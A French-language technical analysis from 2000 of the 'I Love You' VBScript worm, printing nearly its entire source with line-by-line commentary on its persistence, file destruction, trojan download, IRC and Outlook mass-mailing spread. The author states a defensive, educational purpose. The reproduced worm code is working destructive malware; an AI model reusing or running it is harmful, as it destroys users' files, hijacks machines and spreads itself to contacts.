Étude réalisée par Jean-Claude BELLAMY © 2000
Copie et diffusion de ce document autorisée sous réserve de respecter le Copyright.

 

Introduction

Le 4 mai 2000, sur toute la surface du globe, un virus du nom de "I Love You" s'est propagé  à une vitesse fulgurante, infectant des millions d'ordinateurs. Ce virus, de type ver (worm), se présente sous la forme d'un script écrit en langage VBScript, attaché en pièce-jointe à un courrier électronique. Si l'utilisateur qui le reçoit exécute cette pièce-jointe, il va déclencher le processus de d'infection et de propagation contenu dans le script.

Avertissements

Cette étude va décrire et commenter ce script point par point. Elle n'a évidemment pas pour but d'inciter des personnes mal-intentionnées à développer ce genre d'applications nuisibles, mais au contraire de connaître leur mode de fonctionnement afin de s'en protéger et de mieux les combattre.(la politique "de l'autruche" n'est jamais constructive!)

Le présent document HTML contenant (sous forme de texte) le code du virus, certains logiciels anti-virus, tels que "Norton Anti-Virus" peuvent le prendre par erreur pour le virus lui-même !! 
Il n'en est rien, il n'y a aucun contrôle ActiveX sur ce site! 

(et s'il y en avait un, le lecteur en serait averti par l'ouverture d'une boite de dialogue générée par le navigateur)

Aperçu de WSH et VBScript

Le virus est un programme de 270 lignes environ, écrit en VBScript, un des langages utilisés sous Windows dans les scripts de haut niveau WSH (Windows Scripting Host )
Consulter les chapitres entièrement consacré à WSH et au langage VBS, ou le site Microsoft.

Le seul langage de scripts qui était disponible jusqu'alors dans les systèmes Microsoft (sans faire appel à des produits tiers) se limitait aux commandes MSDOS, utilisées directement dans une fenêtre de commande ou dans des fichiers de commandes (.bat,  ou .cmd sous NT). Or MSDOS est très limité (impossibilité d'effectuer des saisies, des calculs, des boucles,..). 

WSH comble ces déficiences. Une de ses particularités est d'accepter plusieurs langages possibles (par défaut, au départ, VBScript et JScript, mais cette liste n'est pas limitée). 

WSH est doté de deux interpréteurs, supportant à la fois VBScript et JScript :

Schéma de principe :

WSH est installé nativement sous Windows 98 et Windows 2000, ainsi qu'avec Internet Information Services version 4.0 (serveur HTTP et FTP pour Windows NT4). 
On peut installer WSH (avec ses interpréteurs de JScript et VBScript) sous Windows 95 et Windows NT4, en téléchargeant un fichier exécutable autoextractible depuis le site de Microsoft :

Pour pouvoir installer et utiliser WSH sous Windows 95, il faut :

Fonctionnement général du virus

Le virus est contenu dans un fichier, nommé LOVE-LETTER-FOR-YOU.TXT.vbs, et figure en pièce-jointe dans un courrier électronique. Cette double extension, qui peut sembler étrange, permet au virus de se déguiser aux yeux d'un utilisateur de Windows n'ayant pas reconfiguré l'explorateur. En effet, par défaut, l'explorateur n'affiche pas les extensions "connues", c'est à dire qui sont associées à une application. Or si on dispose de WSH, les fichiers ayant l'extension .vbs sont associés à l'application wscript.exe (par défaut).

Si bien que le virus sera affiché sous le nom LOVE-LETTER-FOR-YOU.TXT , et sera donc pris pour un simple fichier texte (sauf si l'utilisateur remarque l'icône et le type associés).
Exemple :

Extensions connues

Aspect

cachées
visibles

La configuration s'effectue depuis le menu Outils / Options des dossiers, onglet affichage de l'explorateur de Windows (cela peut différer suivant la version de Windows)

Cette utilisation de double extension va se retrouver fréquemment dans le virus (p.ex. fichiers *.jpeg ou *.mp3 renommés en *.jpeg.vbs ou *.mp3.vbs,..)

Il est donc INDISPENSABLE de configurer correctement l'explorateur de Windows, afin que TOUTES les extensions des fichiers soient affichées , ainsi que les fichiers cachés! 

Si l'utilisateur effectue un double-clic sur le fichier contenant le virus, l'interpréteur de script (wscript.exe) va l'exécuter, ce qui va avoir les conséquences suivantes :

(*) : le rajout de l'extension .vbs aux fichiers jpeg et mp3 est effectué dans le but suivant :

Analyse détaillée

On va reprendre ici le script lui-même et commenter chaque phase.
Pour des questions de mise en page et clarification du code, des retours à la ligne ont été ajoutés (dans le cas de lignes particulièrement longues), ainsi que des retraits.

Script Commentaires
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
Ces commentaires ne prouvent rien quant à l'origine réelle du virus
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Initialisation de variables et objets communs
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
Lecture en mémoire du fichier virus lui-même (en vue de copies ultérieures)
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\
   Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
	wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\
	   Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
	end if
On peut normalement définir un "timeout" sur les scripts, permettant de les arrêter en cas de blocage.
Cela se défini, par exemple, en exécutant wscript.exe (sans paramètre) :

Dans le virus, la valeur de timeout  est fixée à zéro, ce qui signifie aucun délai, donc le script ne pourra pas être interrompu en cas d'attente trop longue.

 

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
Le virus est recopié (et renommé) dans les fichiers suivants :
  • \windows\win32dll.vbs
  • \windows\system\mskernel32.vbs
  • \windows\system\love-letter-for-you.txt.vbs

les noms exacts des répertoires peuvent varier suivant la version de Windows et la procédure d'installation de Windows.

regruns()
html()
spreadtoemail()
listadriv()
end sub
Les différentes phases du virus :
  • modification de la BDR
  • Création d'un document HTML destiné au téléchargement d'un cheval de Troie
  • Envoi de courriers avec le virus en pièce-jointe
  • Infection/destruction des fichiers
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
   \CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
   \CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer
   \Download Directory")
if (downread="") then
	downread="c:\"
	end if
Modification des clefs de démarrage d'applications, de façon que le virus (renommé) soit exécuté à chaque démarrage de Windows, 

NB: la clef "...\RunServices" n'existe pas sous WIndows NT/2000

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
	Randomize
	num = Int((4 * Rnd) + 1)
	if num = 1 then
		regcreate "HKCU\Software\Microsoft\Internet Explorer
		   \Main\Start Page","http://www.skyinet.net/~young1s
		   /HJKhjnwerhjkxcvytwertnMTFwet
		   rdsfmhPnjw6587345gvsdf7679njbvYT
		   /WIN-BUGSFIX.exe"
	elseif num = 2 then
		regcreate "HKCU\Software\Microsoft\Internet Explorer
		   \Main\Start Page","http://www.skyinet.net/~angelcat
		   /skladjflfdjghKJnwetryDGFikj
		   UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w
		   /WIN-BUGSFIX.exe"
	elseif num = 3 then
		regcreate "HKCU\Software\Microsoft\Internet Explorer
		   \Main\Start Page","http://www.skyinet.net/~koichi
		   /jf6TRjkcbGRpGqaq198vbFV5hfFE
		   kbopBdQZnmPOhfgER67b3Vbvg
		   /WIN-BUGSFIX.exe"
	elseif num = 4 then
		regcreate "HKCU\Software\Microsoft\Internet Explorer
		   \Main\Start Page","http://www.skyinet.net/~chu
		   /sdgfhjksdfjklNBmnfgkKLHjkqwt
		   uHJBhAFSDGjkhYUgqwerasdjhPhja
		   sfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg
		   /WIN-BUGSFIX.exe"
		end if
	end if
Préparation du téléchargement du cheval de Troie

ATTENTION!  il y a ici un piège
la fonction locale fileexist renvoie 1 si le fichier N'EXISTE PAS! (alors que la fonction de base FileExists en VBScript renvoie 0)

Le fichier dont l'existence est testée est WinFAT32.exe. C'est en réalité WIN-BUGFIX.EXE renommé, qui est un cheval de Troie.

S'il n'existe pas,  la page d'accueil d 'Internet Explorer est modifiée, afin de pointer vers un URL de téléchargement de ce fichier. Il y a apparemment 4 sites possibles de téléchargement, l'un d'eux étant choisi aléatoirement.

 

 

 

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
	regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
	   \CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
	regcreate "HKEY_CURRENT_USER\Software\Microsoft\
	   Internet Explorer\Main\Start Page","about:blank"
	end if
end sub
S'il existe, l'emplacement de ce fichier est inscrit dans la clef de lancement des programmes au démarrage, et la page d'accueil d 'Internet Explorer est remise à blanc.
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
	If d.DriveType = 2 or d.DriveType=3 Then
		folderlist(d.path&"\")
	end if
	Next
listadriv = s
end sub
Énumération de tous les disques logiques de l'ordinateur, qu'ils soient locaux (DriveType=2) ou réseau (DriveType=3) 
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
	ext=fso.GetExtensionName(f1.path)
	ext=lcase(ext)
	s=lcase(f1.name)
Infection des fichiers
	if (ext="vbs") or (ext="vbe") then
		set ap=fso.OpenTextFile(f1.path,2,true)
		ap.write vbscopy
		ap.close
Les fichiers VBS et VBE sont écrasés par le virus
	elseif(ext="js") or (ext="jse") or (ext="css") 
	   or (ext="wsh") or (ext="sct") or (ext="hta") then
		set ap=fso.OpenTextFile(f1.path,2,true)
		ap.write vbscopy
		ap.close
		bname=fso.GetBaseName(f1.path)
		set cop=fso.GetFile(f1.path)
		cop.copy(folderspec&"\"&bname&".vbs")
		fso.DeleteFile(f1.path)
Les fichiers 
JS, JSE, CSS, WSH, SCT, HTA 
sont écrasés par le virus et renommés avec extension VBS
	elseif(ext="jpg") or (ext="jpeg") then
		set ap=fso.OpenTextFile(f1.path,2,true)
		ap.write vbscopy
		ap.close
		set cop=fso.GetFile(f1.path)
		cop.copy(f1.path&".vbs")
		fso.DeleteFile(f1.path)
Les fichiers JPG et JPEG sont écrasés par le virus et une extension VBS est ajoutée à leurs noms
	elseif(ext="mp3") or (ext="mp2") then
		set mp3=fso.CreateTextFile(f1.path&".vbs")
		mp3.write vbscopy
		mp3.close
		set att=fso.GetFile(f1.path)
		att.attributes=att.attributes+2
		end if
Les fichiers MP3 et MP2 sont cachés
Des fichiers contenant le virus sont créés avec des noms identiques et extension VBS ajoutée
	if (eq<>folderspec) then
		if (s="mirc32.exe") or (s="mlink32.exe") 
		  or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
			set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
			scriptini.WriteLine "[script]"
			scriptini.WriteLine ";mIRC Script"
			scriptini.WriteLine ";  Please dont edit this script... 
			   mIRC will corrupt, if mIRC will"
			scriptini.WriteLine "     corrupt... WINDOWS will 
			   affect and will not run correctly. thanks"
			scriptini.WriteLine ";"
			scriptini.WriteLine ";Khaled Mardam-Bey"
			scriptini.WriteLine ";http://www.mirc.com"
			scriptini.WriteLine ";"
			scriptini.WriteLine "n0=on 1:JOIN:#:{"
			scriptini.WriteLine "n1=  /if ( $nick == $me )
			  { halt }"
			scriptini.WriteLine "n2=  /.dcc send 
			   $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
			scriptini.WriteLine "n3=}"
			scriptini.close
			eq=folderspec
			end if
		end if
	next  
end sub
Test d'utilisation d'IRC par la présence de certains fichiers.
Si c'est le cas, modification du fichier script.ini afin qu'il envoie le virus via un document HTML
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
Routine de balayage récursif de tous les dossiers de chaque disque et infection de tous les fichiers contenus.
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
Routine d'écriture d'une clef de la BDR
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
Routine de lecture d'une clef de la BDR
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
	msg = 0
else
	msg = 1
	end if
fileexist = msg
end function
Routine de test d'existence de fichier
(résultat inversé par rapport à la fonction traditionnelle)
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
	msg = 0
else
	msg = 1
	end if
fileexist = msg
end function
Routine de test d'existence de dossier 
(résultat inversé par rapport à la fonction traditionnelle)
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
	set a=mapi.AddressLists(ctrlists)
Envois de courriers électroniques
	x=1
	regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
	if (regv="") then
		regv=1
		end if
	if (int(a.AddressEntries.Count)>int(regv)) then
		for ctrentries=1 to a.AddressEntries.Count
			malead=a.AddressEntries(x)
			regad=""
			regad=regedit.RegRead("HKEY_CURRENT_USER\Software
			   \Microsoft\WAB\"&malead)
			if (regad="") then
Accès aux carnets d'adresses
				set male=out.CreateItem(0)
				male.Recipients.Add(malead)
				male.Subject = "ILOVEYOU"
				male.Body = vbcrlf&"kindly check
				   the attached LOVELETTER coming from me."
				male.Attachments.Add(dirsystem
				   &"\LOVE-LETTER-FOR-YOU.TXT.vbs")
				male.Send
				regedit.RegWrite "HKEY_CURRENT_USER\Software\
				   Microsoft\WAB\"&malead,1,"REG_DWORD"
				end if
			x=x+1
			next
		regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft
		   \WAB\"&a,a.AddressEntries.Count
	else
		regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft
		   \WAB\"&a,a.AddressEntries.Count
		end if
	next
Set out=Nothing
Set mapi=Nothing
end sub
Création du message suivant :
  • Sujet : "ILOVEYOU"
  • Corps : "kindly check the attached LOVETLETTER coming from me."
  • Pièce-jointe: LOVE-LETTER-FOR-YOU.TXT.vbs (le virus)
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
Création d'un document HTML destiné à être transmis par IRC
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>
   <META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com 
   ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>
"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;
   window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;
   window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ 
   BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p>
   <p>To Enable to read this HTML file<BR>- Please press #-#YES
   #-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>
   ----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;
   var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}
"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
Le corps du document HTML est dans une variable chaîne dta1
Certains caractères de contrôle (",@,...) sont remplacés par des chaînes' évitant d'être mal interprétées par l'interpréteur de script
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft
   ^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&
   @-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
Le document HTML contient lui-même un script écrit en VBScript 
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
	lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
	lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
	lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
	if (l1=n) then
		lines(n)=chr(34)+lines(n)+chr(34)
	else
		lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
		end if
	next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
Remplacement des caractères de contrôle

Création du fichier HTML

set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
Réécriture du fichier HTML
  • dt5 contient le code HTML proprement dit + le début du  VBScript  (déclaration de variables)
  • lines contient le virus lui-même découpé en lignes et mises sous la forme d'un variable chaîne alphanumérique.
  • dt6 contient une routine transformant la chaîne précédente en VBScript directement exécutable et enregistre le tout dans le fichier 
    \windows\system\MSKernel32.vbs
   
Contenu du document HTML généré Commentaires
<HTML>
<HEAD>
<TITLE>LOVELETTER - HTML</TITLE>
<META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER">
<META NAME="Author" CONTENT="spyder / ispyder@mail.com 
/ @GRAMMERSoft Group / Manila, Philippines / March 2000">
<META NAME="Description" CONTENT="simple but i think this is good...">
</HEAD>
<BODY 
ONMOUSEOUT="window.name='main';
   window.open('LOVE-LETTER-FOR-YOU.HTM','main')" 
ONKEYDOWN="window.name='main';
   window.open('LOVE-LETTER-FOR-YOU.HTM','main')" 
BGPROPERTIES="fixed" BGCOLOR="#FF9933">
<CENTER><p>This HTML file need ActiveX Control</p>
<p>To Enable to read this HTML file
<BR>- Please press 'YES' button to Enable ActiveX</p>
</CENTER>
<MARQUEE LOOP="infinite" BGCOLOR="yellow">
----------z--------------------z----------</MARQUEE> 
</BODY>
</HTML>
Le document HTML annonce l'utilisation d'un composant ActiveX (le VBScript), et demande de répondre Yes dans la boite de dialogue ouverte en conséquence par le navigateur.

Un texte défilant s'affiche au milieu de l'écran pendant ce temps.

<SCRIPT language="JScript">
<!--//
if (window.screen){
var wi=screen.availWidth;
var hi=screen.availHeight;
window.moveTo(0,0);
window.resizeTo(wi,hi);}
//-->
</SCRIPT>
Script écrit en JScript faisant passer la fenêtre du navigateur en plein écran
<SCRIPT LANGUAGE="VBScript">
<!--
on error resume next
dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
aw=1
code="......
   on retrouve ici le script complet sous la forme d'une chaîne
"
Script en VBScript contenant une copie intégrale du VBScript initial sous la forme d'une chaine
La chaîne concernée contient des caractères de contrôle.
set fso=CreateObject("Scripting.FileSystemObject")
set dirsystem=fso.GetSpecialFolder(1)
code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))
code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))
code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92)) 
set wri=fso.CreateTextFile(dirsystem&"\MSKernel32.vbs")
wri.write code4
wri.close 
if (fso.FileExists(dirsystem&"\MSKernel32.vbs")) then
	if (err.number=424) then 
		aw=0 
		end if 
	if (aw=1) then 
		document.write "ERROR: can't initialize ActiveX"
		window.close 
		end if 
	end if 
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
   CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
//-->
</SCRIPT>
Remplacement des caractères de contrôle

Ecriture du VBScript dans le fichier \windows\system\MSKernel32.vbs

Modification de la BDR par ajout de ce fichier dans la liste des applications lancées au démarrage de Windows

Traitements

Conclusion